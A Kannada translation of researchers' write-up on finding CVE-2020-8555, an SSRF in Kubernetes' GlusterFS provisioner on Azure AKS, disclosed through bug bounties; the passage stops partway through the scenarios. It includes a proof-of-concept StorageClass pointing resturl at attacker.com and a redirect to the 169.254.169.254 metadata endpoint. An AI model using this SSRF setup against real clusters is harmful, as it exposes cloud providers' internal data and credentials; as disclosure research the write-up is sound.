ಪ್ರೊಹೋಸ್ಟರ್ > Блог > ಆಡಳಿತ > ಇದು ಕುಬರ್ನೆಟ್ಸ್ ದುರ್ಬಲತೆಗಳ ಬಗ್ಗೆ ಮಾತ್ರವಲ್ಲ...

ಇದು ಕುಬರ್ನೆಟ್ಸ್ ದುರ್ಬಲತೆಗಳ ಬಗ್ಗೆ ಮಾತ್ರವಲ್ಲ...

ಸೂಚನೆ. ಅನುವಾದ.: ಈ ಲೇಖನದ ಲೇಖಕರು ಅವರು ದುರ್ಬಲತೆಯನ್ನು ಕಂಡುಹಿಡಿಯುವಲ್ಲಿ ಹೇಗೆ ನಿರ್ವಹಿಸಿದರು ಎಂಬುದರ ಕುರಿತು ವಿವರವಾಗಿ ಮಾತನಾಡುತ್ತಾರೆ CVE-2020–8555 ಕುಬರ್ನೆಟ್ಸ್ನಲ್ಲಿ. ಆರಂಭದಲ್ಲಿ ಇದು ತುಂಬಾ ಅಪಾಯಕಾರಿ ಎಂದು ತೋರುತ್ತಿಲ್ಲವಾದರೂ, ಇತರ ಅಂಶಗಳ ಸಂಯೋಜನೆಯಲ್ಲಿ ಅದರ ವಿಮರ್ಶಾತ್ಮಕತೆಯು ಕೆಲವು ಕ್ಲೌಡ್ ಪೂರೈಕೆದಾರರಿಗೆ ಗರಿಷ್ಠವಾಗಿದೆ. ಹಲವಾರು ಸಂಸ್ಥೆಗಳು ತಮ್ಮ ಕೆಲಸಕ್ಕಾಗಿ ತಜ್ಞರನ್ನು ಉದಾರವಾಗಿ ಪುರಸ್ಕರಿಸಿದವು.

ಇದು ಕುಬರ್ನೆಟ್ಸ್ ದುರ್ಬಲತೆಗಳ ಬಗ್ಗೆ ಮಾತ್ರವಲ್ಲ...

ನಾವು ಯಾರು

ನಾವು ಇಬ್ಬರು ಫ್ರೆಂಚ್ ಭದ್ರತಾ ಸಂಶೋಧಕರು, ಅವರು ಜಂಟಿಯಾಗಿ ಕುಬರ್ನೆಟ್ಸ್‌ನಲ್ಲಿ ದುರ್ಬಲತೆಯನ್ನು ಕಂಡುಹಿಡಿದರು. ನಮ್ಮ ಹೆಸರುಗಳು Brice Agras ಮತ್ತು Christophe Hauquiert, ಆದರೆ ಅನೇಕ ಬಗ್ ಬೌಂಟಿ ಪ್ಲಾಟ್‌ಫಾರ್ಮ್‌ಗಳಲ್ಲಿ ನಮ್ಮನ್ನು ಕ್ರಮವಾಗಿ Reeverzax ಮತ್ತು Hach ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ:

ಏನಾಯಿತು?

ಈ ಲೇಖನವು ಹೇಗೆ ಒಂದು ಸಾಮಾನ್ಯ ಸಂಶೋಧನಾ ಯೋಜನೆಯು ಅನಿರೀಕ್ಷಿತವಾಗಿ ದೋಷ ಬೇಟೆಗಾರರ ​​ಜೀವನದಲ್ಲಿ (ಕನಿಷ್ಠ ಇದೀಗ) ಅತ್ಯಂತ ರೋಮಾಂಚಕಾರಿ ಸಾಹಸವಾಗಿ ಮಾರ್ಪಟ್ಟಿದೆ ಎಂಬುದನ್ನು ಹಂಚಿಕೊಳ್ಳುವ ನಮ್ಮ ಮಾರ್ಗವಾಗಿದೆ.

ನಿಮಗೆ ತಿಳಿದಿರುವಂತೆ, ದೋಷ ಬೇಟೆಗಾರರು ಕೆಲವು ಗಮನಾರ್ಹ ವೈಶಿಷ್ಟ್ಯಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ:

  • ಅವರು ಪಿಜ್ಜಾ ಮತ್ತು ಬಿಯರ್‌ನಲ್ಲಿ ವಾಸಿಸುತ್ತಾರೆ;
  • ಎಲ್ಲರೂ ಮಲಗಿರುವಾಗ ಅವರು ಕೆಲಸ ಮಾಡುತ್ತಾರೆ.

ಈ ನಿಯಮಗಳಿಗೆ ನಾವು ಹೊರತಾಗಿಲ್ಲ: ನಾವು ಸಾಮಾನ್ಯವಾಗಿ ವಾರಾಂತ್ಯದಲ್ಲಿ ಭೇಟಿಯಾಗುತ್ತೇವೆ ಮತ್ತು ನಿದ್ದೆಯಿಲ್ಲದ ರಾತ್ರಿಗಳನ್ನು ಹ್ಯಾಕಿಂಗ್ ಕಳೆಯುತ್ತೇವೆ. ಆದರೆ ಈ ರಾತ್ರಿಗಳಲ್ಲಿ ಒಂದು ಅಸಾಮಾನ್ಯ ರೀತಿಯಲ್ಲಿ ಕೊನೆಗೊಂಡಿತು.

ಆರಂಭದಲ್ಲಿ ನಾವು ಭಾಗವಹಿಸುವ ಬಗ್ಗೆ ಚರ್ಚಿಸಲು ಭೇಟಿಯಾಗಲಿದ್ದೇವೆ ಸಿಟಿಎಫ್ ಮರುದಿನ. ನಿರ್ವಹಿಸಲಾದ ಸೇವಾ ಪರಿಸರದಲ್ಲಿ ಕುಬರ್ನೆಟ್ಸ್ ಭದ್ರತೆಯ ಕುರಿತು ಸಂಭಾಷಣೆಯ ಸಮಯದಲ್ಲಿ, ನಾವು SSRF ನ ಹಳೆಯ ಕಲ್ಪನೆಯನ್ನು ನೆನಪಿಸಿಕೊಂಡಿದ್ದೇವೆ (ಸರ್ವರ್-ಸೈಡ್ ರಿಕ್ವೆಸ್ಟ್ ಫೋರ್ಜರಿ) ಮತ್ತು ಅದನ್ನು ಆಕ್ರಮಣ ಸ್ಕ್ರಿಪ್ಟ್ ಆಗಿ ಬಳಸಲು ಪ್ರಯತ್ನಿಸಲು ನಿರ್ಧರಿಸಿದೆ.

ರಾತ್ರಿ 11 ಗಂಟೆಗೆ ನಾವು ನಮ್ಮ ಸಂಶೋಧನೆಯನ್ನು ಮಾಡಲು ಕುಳಿತುಕೊಂಡೆವು ಮತ್ತು ಬೆಳಿಗ್ಗೆ ಬೇಗನೆ ಮಲಗಲು ಹೋದೆವು, ಫಲಿತಾಂಶಗಳಿಂದ ಬಹಳ ತೃಪ್ತಿ ಹೊಂದಿದ್ದೇವೆ. ಈ ಸಂಶೋಧನೆಯ ಕಾರಣದಿಂದಾಗಿ ನಾವು MSRC ಬಗ್ ಬೌಂಟಿ ಪ್ರೋಗ್ರಾಂ ಅನ್ನು ನೋಡಿದ್ದೇವೆ ಮತ್ತು ಸವಲತ್ತು ಹೆಚ್ಚಿಸುವ ಶೋಷಣೆಯೊಂದಿಗೆ ಬಂದಿದ್ದೇವೆ.

ಹಲವಾರು ವಾರಗಳು/ತಿಂಗಳುಗಳು ಕಳೆದಿವೆ, ಮತ್ತು ನಮ್ಮ ಅನಿರೀಕ್ಷಿತ ಫಲಿತಾಂಶವು ಅಜುರೆ ಕ್ಲೌಡ್ ಬಗ್ ಬೌಂಟಿಯ ಇತಿಹಾಸದಲ್ಲಿ ಅತ್ಯಧಿಕ ಬಹುಮಾನಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ - ನಾವು ಕುಬರ್ನೆಟ್ಸ್‌ನಿಂದ ಸ್ವೀಕರಿಸಿದ್ದಕ್ಕೆ ಹೆಚ್ಚುವರಿಯಾಗಿ!

ನಮ್ಮ ಸಂಶೋಧನಾ ಯೋಜನೆಯ ಆಧಾರದ ಮೇಲೆ, ಕುಬರ್ನೆಟ್ಸ್ ಉತ್ಪನ್ನ ಭದ್ರತಾ ಸಮಿತಿಯು ಪ್ರಕಟಿಸಿದೆ CVE-2020–8555.

ಈಗ ನಾನು ಪತ್ತೆಯಾದ ದುರ್ಬಲತೆಯ ಬಗ್ಗೆ ಸಾಧ್ಯವಾದಷ್ಟು ಮಾಹಿತಿಯನ್ನು ಹರಡಲು ಬಯಸುತ್ತೇನೆ. ಇನ್ಫೋಸೆಕ್ ಸಮುದಾಯದ ಇತರ ಸದಸ್ಯರೊಂದಿಗೆ ತಾಂತ್ರಿಕ ವಿವರಗಳನ್ನು ಹುಡುಕಲು ಮತ್ತು ಹಂಚಿಕೊಳ್ಳಲು ನೀವು ಪ್ರಶಂಸಿಸುತ್ತೀರಿ ಎಂದು ನಾವು ಭಾವಿಸುತ್ತೇವೆ!

ಹಾಗಾದರೆ ನಮ್ಮ ಕಥೆ ಇಲ್ಲಿದೆ...

ಸಂದರ್ಭ

ಏನಾಯಿತು ಎಂಬುದರ ಕುರಿತು ಹೆಚ್ಚಿನ ಅರ್ಥವನ್ನು ನೀಡಲು, ಕ್ಲೌಡ್ ಮ್ಯಾನೇಜ್ಡ್ ಪರಿಸರದಲ್ಲಿ ಕುಬರ್ನೆಟ್ಸ್ ಹೇಗೆ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ ಎಂಬುದನ್ನು ಮೊದಲು ನೋಡೋಣ.

ಅಂತಹ ವಾತಾವರಣದಲ್ಲಿ ನೀವು ಕುಬರ್ನೆಟ್ಸ್ ಕ್ಲಸ್ಟರ್ ಅನ್ನು ತ್ವರಿತವಾಗಿ ಸ್ಥಾಪಿಸಿದಾಗ, ನಿರ್ವಹಣಾ ಪದರವು ಸಾಮಾನ್ಯವಾಗಿ ಕ್ಲೌಡ್ ಪೂರೈಕೆದಾರರ ಜವಾಬ್ದಾರಿಯಾಗಿದೆ:

ಇದು ಕುಬರ್ನೆಟ್ಸ್ ದುರ್ಬಲತೆಗಳ ಬಗ್ಗೆ ಮಾತ್ರವಲ್ಲ...
ನಿಯಂತ್ರಣ ಪದರವು ಕ್ಲೌಡ್ ಪೂರೈಕೆದಾರರ ಪರಿಧಿಯಲ್ಲಿದೆ, ಕುಬರ್ನೆಟ್ಸ್ ನೋಡ್‌ಗಳು ಗ್ರಾಹಕರ ಪರಿಧಿಯಲ್ಲಿವೆ

ಪರಿಮಾಣಗಳನ್ನು ಕ್ರಿಯಾತ್ಮಕವಾಗಿ ನಿಯೋಜಿಸಲು, ಬಾಹ್ಯ ಶೇಖರಣಾ ಬ್ಯಾಕೆಂಡ್‌ನಿಂದ ಅವುಗಳನ್ನು ಕ್ರಿಯಾತ್ಮಕವಾಗಿ ಒದಗಿಸಲು ಮತ್ತು ಅವುಗಳನ್ನು PVC ಯೊಂದಿಗೆ ಹೋಲಿಸಲು ಯಾಂತ್ರಿಕ ವ್ಯವಸ್ಥೆಯನ್ನು ಬಳಸಲಾಗುತ್ತದೆ (ನಿರಂತರ ವಾಲ್ಯೂಮ್ ಹಕ್ಕು, ಅಂದರೆ ವಾಲ್ಯೂಮ್‌ಗಾಗಿ ವಿನಂತಿ).

ಹೀಗಾಗಿ, PVC ಅನ್ನು ರಚಿಸಿದ ನಂತರ ಮತ್ತು K8s ಕ್ಲಸ್ಟರ್‌ನಲ್ಲಿ ಸ್ಟೋರೇಜ್‌ಕ್ಲಾಸ್‌ಗೆ ಬಂಧಿಸಲ್ಪಟ್ಟ ನಂತರ, ಪರಿಮಾಣವನ್ನು ಒದಗಿಸಲು ಮುಂದಿನ ಕ್ರಮಗಳನ್ನು ಕ್ಯೂಬ್/ಕ್ಲೌಡ್ ನಿಯಂತ್ರಕ ನಿರ್ವಾಹಕರು ತೆಗೆದುಕೊಳ್ಳುತ್ತಾರೆ (ಅದರ ನಿಖರವಾದ ಹೆಸರು ಬಿಡುಗಡೆಯ ಮೇಲೆ ಅವಲಂಬಿತವಾಗಿರುತ್ತದೆ). (ಸೂಚನೆ. ಅನುವಾದ.: ಕ್ಲೌಡ್ ಪೂರೈಕೆದಾರರಲ್ಲಿ ಒಬ್ಬರಿಗೆ ಅದರ ಅನುಷ್ಠಾನದ ಉದಾಹರಣೆಯನ್ನು ಬಳಸಿಕೊಂಡು ನಾವು ಈಗಾಗಲೇ CCM ಕುರಿತು ಹೆಚ್ಚಿನದನ್ನು ಬರೆದಿದ್ದೇವೆ ಇಲ್ಲಿ.)

ಕುಬರ್ನೆಟ್ಸ್ ಬೆಂಬಲಿಸುವ ಹಲವಾರು ವಿಧದ ಪೂರೈಕೆದಾರರು ಇದ್ದಾರೆ: ಅವುಗಳಲ್ಲಿ ಹೆಚ್ಚಿನವು ಸೇರಿವೆ ಆರ್ಕೆಸ್ಟ್ರೇಟರ್ ಕೋರ್, ಇತರರನ್ನು ಕ್ಲಸ್ಟರ್‌ನಲ್ಲಿ ಪಾಡ್‌ಗಳಲ್ಲಿ ಇರಿಸಲಾಗಿರುವ ಹೆಚ್ಚುವರಿ ಪೂರೈಕೆದಾರರು ನಿರ್ವಹಿಸುತ್ತಾರೆ.

ನಮ್ಮ ಸಂಶೋಧನೆಯಲ್ಲಿ, ನಾವು ಆಂತರಿಕ ಪರಿಮಾಣವನ್ನು ಒದಗಿಸುವ ಕಾರ್ಯವಿಧಾನದ ಮೇಲೆ ಕೇಂದ್ರೀಕರಿಸಿದ್ದೇವೆ, ಅದನ್ನು ಕೆಳಗೆ ವಿವರಿಸಲಾಗಿದೆ:

ಇದು ಕುಬರ್ನೆಟ್ಸ್ ದುರ್ಬಲತೆಗಳ ಬಗ್ಗೆ ಮಾತ್ರವಲ್ಲ...
ಅಂತರ್ನಿರ್ಮಿತ ಕುಬರ್ನೆಟ್ಸ್ ಪ್ರೊವಿಶನರ್ ಅನ್ನು ಬಳಸಿಕೊಂಡು ಸಂಪುಟಗಳ ಡೈನಾಮಿಕ್ ಒದಗಿಸುವಿಕೆ

ಸಂಕ್ಷಿಪ್ತವಾಗಿ, ಕುಬರ್ನೆಟ್ಸ್ ಅನ್ನು ನಿರ್ವಹಿಸಲಾದ ಪರಿಸರದಲ್ಲಿ ನಿಯೋಜಿಸಿದಾಗ, ನಿಯಂತ್ರಕ ವ್ಯವಸ್ಥಾಪಕವು ಕ್ಲೌಡ್ ಪೂರೈಕೆದಾರರ ಜವಾಬ್ದಾರಿಯಾಗಿದೆ, ಆದರೆ ಪರಿಮಾಣ ರಚನೆಯ ವಿನಂತಿಯು (ಮೇಲಿನ ರೇಖಾಚಿತ್ರದಲ್ಲಿ ಸಂಖ್ಯೆ 3) ಕ್ಲೌಡ್ ಪೂರೈಕೆದಾರರ ಆಂತರಿಕ ನೆಟ್‌ವರ್ಕ್ ಅನ್ನು ಬಿಡುತ್ತದೆ. ಮತ್ತು ಇಲ್ಲಿ ವಿಷಯಗಳು ನಿಜವಾಗಿಯೂ ಆಸಕ್ತಿದಾಯಕವಾಗುತ್ತವೆ!

ಹ್ಯಾಕಿಂಗ್ ಸನ್ನಿವೇಶ

ಈ ವಿಭಾಗದಲ್ಲಿ, ಮೇಲೆ ತಿಳಿಸಲಾದ ಕೆಲಸದ ಹರಿವಿನ ಪ್ರಯೋಜನವನ್ನು ನಾವು ಹೇಗೆ ಪಡೆದುಕೊಂಡಿದ್ದೇವೆ ಮತ್ತು ಕ್ಲೌಡ್ ಸೇವಾ ಪೂರೈಕೆದಾರರ ಆಂತರಿಕ ಸಂಪನ್ಮೂಲಗಳನ್ನು ಹೇಗೆ ಪ್ರವೇಶಿಸಿದ್ದೇವೆ ಎಂಬುದನ್ನು ನಾವು ವಿವರಿಸುತ್ತೇವೆ. ಆಂತರಿಕ ರುಜುವಾತುಗಳನ್ನು ಪಡೆಯುವುದು ಅಥವಾ ಸವಲತ್ತುಗಳನ್ನು ಹೆಚ್ಚಿಸುವಂತಹ ಕೆಲವು ಕ್ರಿಯೆಗಳನ್ನು ನೀವು ಹೇಗೆ ಮಾಡಬಹುದು ಎಂಬುದನ್ನು ಸಹ ಇದು ನಿಮಗೆ ತೋರಿಸುತ್ತದೆ.

ಒಂದು ಸರಳವಾದ ಮ್ಯಾನಿಪ್ಯುಲೇಷನ್ (ಈ ಸಂದರ್ಭದಲ್ಲಿ, ಸರ್ವಿಸ್ ಸೈಡ್ ರಿಕ್ವೆಸ್ಟ್ ಫೋರ್ಜರಿ) ಕ್ಲೈಂಟ್ ಪರಿಸರವನ್ನು ಮೀರಿ ನಿರ್ವಹಿಸಲಾದ K8s ಅಡಿಯಲ್ಲಿ ವಿವಿಧ ಸೇವಾ ಪೂರೈಕೆದಾರರ ಸಮೂಹಗಳಾಗಿ ಹೋಗಲು ಸಹಾಯ ಮಾಡಿತು.

ನಮ್ಮ ಸಂಶೋಧನೆಯಲ್ಲಿ ನಾವು GlusterFS ಪೂರೈಕೆದಾರರ ಮೇಲೆ ಕೇಂದ್ರೀಕರಿಸಿದ್ದೇವೆ. ಕ್ರಿಯೆಗಳ ಮುಂದಿನ ಅನುಕ್ರಮವನ್ನು ಈ ಸಂದರ್ಭದಲ್ಲಿ ವಿವರಿಸಲಾಗಿದೆ ಎಂಬ ವಾಸ್ತವದ ಹೊರತಾಗಿಯೂ, Quobyte, StorageOS ಮತ್ತು ScaleIO ಒಂದೇ ದುರ್ಬಲತೆಗೆ ಒಳಗಾಗುತ್ತವೆ.

ಇದು ಕುಬರ್ನೆಟ್ಸ್ ದುರ್ಬಲತೆಗಳ ಬಗ್ಗೆ ಮಾತ್ರವಲ್ಲ...
ಡೈನಾಮಿಕ್ ವಾಲ್ಯೂಮ್ ಪ್ರೊವಿಶನಿಂಗ್ ಯಾಂತ್ರಿಕತೆಯ ದುರುಪಯೋಗ

ಶೇಖರಣಾ ವರ್ಗ ವಿಶ್ಲೇಷಣೆಯ ಸಮಯದಲ್ಲಿ ಗ್ಲುಸ್ಟರ್ಎಫ್ಎಸ್ ಗೋಲಾಂಗ್ ಕ್ಲೈಂಟ್ ಮೂಲ ಕೋಡ್‌ನಲ್ಲಿ ನಾವು ಗಮನಿಸಿದರುವಾಲ್ಯೂಮ್ ರಚನೆಯ ಸಮಯದಲ್ಲಿ ಕಳುಹಿಸಲಾದ ಮೊದಲ HTTP ವಿನಂತಿಯಲ್ಲಿ (3) ಪ್ಯಾರಾಮೀಟರ್‌ನಲ್ಲಿನ ಕಸ್ಟಮ್ URL ನ ಅಂತ್ಯಕ್ಕೆ resturl ಸೇರಿಸಲಾಗಿದೆ /volumes.

ಸೇರಿಸುವ ಮೂಲಕ ಈ ಹೆಚ್ಚುವರಿ ಮಾರ್ಗವನ್ನು ತೊಡೆದುಹಾಕಲು ನಾವು ನಿರ್ಧರಿಸಿದ್ದೇವೆ # ನಿಯತಾಂಕದಲ್ಲಿ resturl. ಸೆಮಿ-ಬ್ಲೈಂಡ್ SSRF ದುರ್ಬಲತೆಯನ್ನು ಪರೀಕ್ಷಿಸಲು ನಾವು ಬಳಸಿದ ಮೊದಲ YAML ಕಾನ್ಫಿಗರೇಶನ್ ಇಲ್ಲಿದೆ (ನೀವು ಅರೆ ಕುರುಡು ಅಥವಾ ಅರ್ಧ ಕುರುಡು SSRF ಬಗ್ಗೆ ಇನ್ನಷ್ಟು ಓದಬಹುದು, ಉದಾಹರಣೆಗೆ, ಇಲ್ಲಿ - ಅಂದಾಜು ಅನುವಾದ.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

ನಂತರ ನಾವು ಕುಬರ್ನೆಟ್ಸ್ ಕ್ಲಸ್ಟರ್ ಅನ್ನು ದೂರದಿಂದಲೇ ನಿರ್ವಹಿಸಲು ಬೈನರಿಯನ್ನು ಬಳಸಿದ್ದೇವೆ kubectl. ವಿಶಿಷ್ಟವಾಗಿ, ಕ್ಲೌಡ್ ಪೂರೈಕೆದಾರರು (Azure, Google, AWS, ಇತ್ಯಾದಿ) ಈ ಉಪಯುಕ್ತತೆಯಲ್ಲಿ ಬಳಕೆಗಾಗಿ ರುಜುವಾತುಗಳನ್ನು ಪಡೆಯಲು ನಿಮಗೆ ಅನುಮತಿಸುತ್ತದೆ.

ಇದಕ್ಕೆ ಧನ್ಯವಾದಗಳು, ನನ್ನ "ವಿಶೇಷ" ಫೈಲ್ ಅನ್ನು ಬಳಸಲು ನನಗೆ ಸಾಧ್ಯವಾಯಿತು. Kube-ನಿಯಂತ್ರಕ-ನಿರ್ವಾಹಕರು ಪರಿಣಾಮವಾಗಿ HTTP ವಿನಂತಿಯನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸಿದ್ದಾರೆ:

kubectl create -f sc-poc.yaml

ಇದು ಕುಬರ್ನೆಟ್ಸ್ ದುರ್ಬಲತೆಗಳ ಬಗ್ಗೆ ಮಾತ್ರವಲ್ಲ...
ದಾಳಿಕೋರನ ದೃಷ್ಟಿಕೋನದಿಂದ ಉತ್ತರ

ಇದರ ಸ್ವಲ್ಪ ಸಮಯದ ನಂತರ, ನಾವು ಗುರಿ ಸರ್ವರ್‌ನಿಂದ - ಆಜ್ಞೆಗಳ ಮೂಲಕ HTTP ಪ್ರತಿಕ್ರಿಯೆಯನ್ನು ಸ್ವೀಕರಿಸಲು ಸಾಧ್ಯವಾಯಿತು describe pvc ಅಥವಾ get events kubectl ನಲ್ಲಿ. ಮತ್ತು ವಾಸ್ತವವಾಗಿ: ಈ ಡೀಫಾಲ್ಟ್ ಕುಬರ್ನೆಟ್ಸ್ ಡ್ರೈವರ್ ಅದರ ಎಚ್ಚರಿಕೆಗಳು/ದೋಷ ಸಂದೇಶಗಳಲ್ಲಿ ತುಂಬಾ ಶಬ್ದವಾಗಿದೆ...

ಲಿಂಕ್‌ನೊಂದಿಗೆ ಉದಾಹರಣೆ ಇಲ್ಲಿದೆ https://www.google.frನಿಯತಾಂಕವಾಗಿ ಹೊಂದಿಸಲಾಗಿದೆ resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

ಇದು ಕುಬರ್ನೆಟ್ಸ್ ದುರ್ಬಲತೆಗಳ ಬಗ್ಗೆ ಮಾತ್ರವಲ್ಲ...

ಈ ವಿಧಾನದಲ್ಲಿ, ನಾವು ಪ್ರಶ್ನೆಗಳಿಗೆ ಸೀಮಿತವಾಗಿದ್ದೇವೆ HTTP ಪೋಸ್ಟ್ ಮತ್ತು ರಿಟರ್ನ್ ಕೋಡ್ ಆಗಿದ್ದರೆ ಪ್ರತಿಕ್ರಿಯೆ ದೇಹದ ವಿಷಯಗಳನ್ನು ಪಡೆಯಲು ಸಾಧ್ಯವಾಗಲಿಲ್ಲ 201. ಆದ್ದರಿಂದ, ನಾವು ಹೆಚ್ಚುವರಿ ಸಂಶೋಧನೆ ನಡೆಸಲು ನಿರ್ಧರಿಸಿದ್ದೇವೆ ಮತ್ತು ಈ ಹ್ಯಾಕಿಂಗ್ ಸನ್ನಿವೇಶವನ್ನು ಹೊಸ ವಿಧಾನಗಳೊಂದಿಗೆ ವಿಸ್ತರಿಸಿದ್ದೇವೆ.

ನಮ್ಮ ಸಂಶೋಧನೆಯ ವಿಕಾಸ

  • ಸುಧಾರಿತ ಸನ್ನಿವೇಶ #1: ಆಂತರಿಕ ಡೇಟಾವನ್ನು ಸಂಗ್ರಹಿಸಲು ಹೆಚ್ಚು ಹೊಂದಿಕೊಳ್ಳುವ ಮಾರ್ಗವನ್ನು ಒದಗಿಸಲು HTTP ವಿಧಾನವನ್ನು ಬದಲಾಯಿಸಲು ಬಾಹ್ಯ ಸರ್ವರ್‌ನಿಂದ 302 ಮರುನಿರ್ದೇಶನವನ್ನು ಬಳಸುವುದು.
  • ಸುಧಾರಿತ ಸನ್ನಿವೇಶ #2: ಸ್ವಯಂಚಾಲಿತ LAN ಸ್ಕ್ಯಾನಿಂಗ್ ಮತ್ತು ಆಂತರಿಕ ಸಂಪನ್ಮೂಲ ಅನ್ವೇಷಣೆ.
  • ಸುಧಾರಿತ ಸನ್ನಿವೇಶ #3: HTTP CRLF + ಸ್ಮಗ್ಲಿಂಗ್ ("ವಿನಂತಿ ಕಳ್ಳಸಾಗಾಣಿಕೆ") ಬಳಸಿಕೊಂಡು ಸೂಕ್ತವಾದ HTTP ವಿನಂತಿಗಳನ್ನು ರಚಿಸಲು ಮತ್ತು ಕ್ಯೂಬ್-ನಿಯಂತ್ರಕ ಲಾಗ್‌ಗಳಿಂದ ಹೊರತೆಗೆಯಲಾದ ಡೇಟಾವನ್ನು ಹಿಂಪಡೆಯಲು.

ತಾಂತ್ರಿಕ ವಿಶೇಷಣಗಳು

  • ಸಂಶೋಧನೆಯು ಉತ್ತರ ಯುರೋಪ್ ಪ್ರದೇಶದಲ್ಲಿ ಕುಬರ್ನೆಟ್ಸ್ ಆವೃತ್ತಿ 1.12 ನೊಂದಿಗೆ ಅಜುರೆ ಕುಬರ್ನೆಟ್ಸ್ ಸೇವೆ (ಎಕೆಎಸ್) ಅನ್ನು ಬಳಸಿದೆ.
  • ಮೇಲೆ ವಿವರಿಸಿದ ಸನ್ನಿವೇಶಗಳನ್ನು ಕುಬರ್ನೆಟ್ಸ್‌ನ ಇತ್ತೀಚಿನ ಬಿಡುಗಡೆಗಳಲ್ಲಿ ಕಾರ್ಯಗತಗೊಳಿಸಲಾಗಿದೆ, ಮೂರನೇ ಸನ್ನಿವೇಶವನ್ನು ಹೊರತುಪಡಿಸಿ, ಏಕೆಂದರೆ ಅವರಿಗೆ ಗೊಲಾಂಗ್ ಆವೃತ್ತಿ ≤ 1.12 ನೊಂದಿಗೆ ನಿರ್ಮಿಸಲಾದ ಕುಬರ್ನೆಟ್ಸ್ ಅಗತ್ಯವಿದೆ.
  • ದಾಳಿಕೋರನ ಬಾಹ್ಯ ಸರ್ವರ್ - https://attacker.com.

ಸುಧಾರಿತ ಸನ್ನಿವೇಶ #1: HTTP POST ವಿನಂತಿಯನ್ನು GET ಗೆ ಮರುನಿರ್ದೇಶಿಸುವುದು ಮತ್ತು ಸೂಕ್ಷ್ಮ ಡೇಟಾವನ್ನು ಸ್ವೀಕರಿಸುವುದು

ಹಿಂತಿರುಗಲು ಆಕ್ರಮಣಕಾರರ ಸರ್ವರ್‌ನ ಕಾನ್ಫಿಗರೇಶನ್‌ನಿಂದ ಮೂಲ ವಿಧಾನವನ್ನು ಸುಧಾರಿಸಲಾಗಿದೆ 302 HTTP ರಿಟ್‌ಕೋಡ್POST ವಿನಂತಿಯನ್ನು GET ವಿನಂತಿಗೆ ಪರಿವರ್ತಿಸಲು (ರೇಖಾಚಿತ್ರದಲ್ಲಿ ಹಂತ 4):

ಇದು ಕುಬರ್ನೆಟ್ಸ್ ದುರ್ಬಲತೆಗಳ ಬಗ್ಗೆ ಮಾತ್ರವಲ್ಲ...

ಮೊದಲ ವಿನಂತಿ (3) ಕ್ಲೈಂಟ್‌ನಿಂದ ಬರುತ್ತಿದೆ ಗ್ಲುಸ್ಟರ್ಎಫ್ಎಸ್ (ನಿಯಂತ್ರಕ ನಿರ್ವಾಹಕ), POST ಪ್ರಕಾರವನ್ನು ಹೊಂದಿದೆ. ಈ ಹಂತಗಳನ್ನು ಅನುಸರಿಸುವ ಮೂಲಕ ನಾವು ಅದನ್ನು GET ಆಗಿ ಪರಿವರ್ತಿಸಲು ಸಾಧ್ಯವಾಯಿತು:

  • ಒಂದು ನಿಯತಾಂಕವಾಗಿ resturl StorageClass ನಲ್ಲಿ ಇದನ್ನು ಸೂಚಿಸಲಾಗುತ್ತದೆ http://attacker.com/redirect.php.
  • ಎಂಡ್ಪೋಯಿಂಟ್ https://attacker.com/redirect.php ಕೆಳಗಿನ ಸ್ಥಳ ಶಿರೋಲೇಖದೊಂದಿಗೆ 302 HTTP ಸ್ಥಿತಿ ಕೋಡ್‌ನೊಂದಿಗೆ ಪ್ರತಿಕ್ರಿಯಿಸುತ್ತದೆ: http://169.254.169.254. ಇದು ಯಾವುದೇ ಇತರ ಆಂತರಿಕ ಸಂಪನ್ಮೂಲವಾಗಿರಬಹುದು - ಈ ಸಂದರ್ಭದಲ್ಲಿ, ಮರುನಿರ್ದೇಶನ ಲಿಂಕ್ ಅನ್ನು ಕೇವಲ ಉದಾಹರಣೆಯಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ.
  • ಪೂರ್ವನಿಯೋಜಿತವಾಗಿ net/http ಲೈಬ್ರರಿ ಗೊಲಾಂಗ್ ವಿನಂತಿಯನ್ನು ಮರುನಿರ್ದೇಶಿಸುತ್ತದೆ ಮತ್ತು 302 ಸ್ಥಿತಿ ಕೋಡ್‌ನೊಂದಿಗೆ POST ಅನ್ನು GET ಗೆ ಪರಿವರ್ತಿಸುತ್ತದೆ, ಇದರ ಪರಿಣಾಮವಾಗಿ ಗುರಿ ಸಂಪನ್ಮೂಲಕ್ಕೆ HTTP GET ವಿನಂತಿಯು ಬರುತ್ತದೆ.

ನೀವು ಮಾಡಬೇಕಾದ HTTP ಪ್ರತಿಕ್ರಿಯೆಯನ್ನು ಓದಲು describe PVC ವಸ್ತು:

kubectl describe pvc xxx

JSON ಫಾರ್ಮ್ಯಾಟ್‌ನಲ್ಲಿರುವ HTTP ಪ್ರತಿಕ್ರಿಯೆಯ ಉದಾಹರಣೆ ಇಲ್ಲಿದೆ: ನಾವು ಸ್ವೀಕರಿಸಲು ಸಾಧ್ಯವಾಯಿತು:

ಇದು ಕುಬರ್ನೆಟ್ಸ್ ದುರ್ಬಲತೆಗಳ ಬಗ್ಗೆ ಮಾತ್ರವಲ್ಲ...

ಈ ಕೆಳಗಿನ ಅಂಶಗಳಿಂದಾಗಿ ಆ ಸಮಯದಲ್ಲಿ ಕಂಡುಬರುವ ದುರ್ಬಲತೆಯ ಸಾಮರ್ಥ್ಯಗಳು ಸೀಮಿತವಾಗಿವೆ:

  • ಹೊರಹೋಗುವ ವಿನಂತಿಯಲ್ಲಿ HTTP ಹೆಡರ್‌ಗಳನ್ನು ಸೇರಿಸಲು ಅಸಮರ್ಥತೆ.
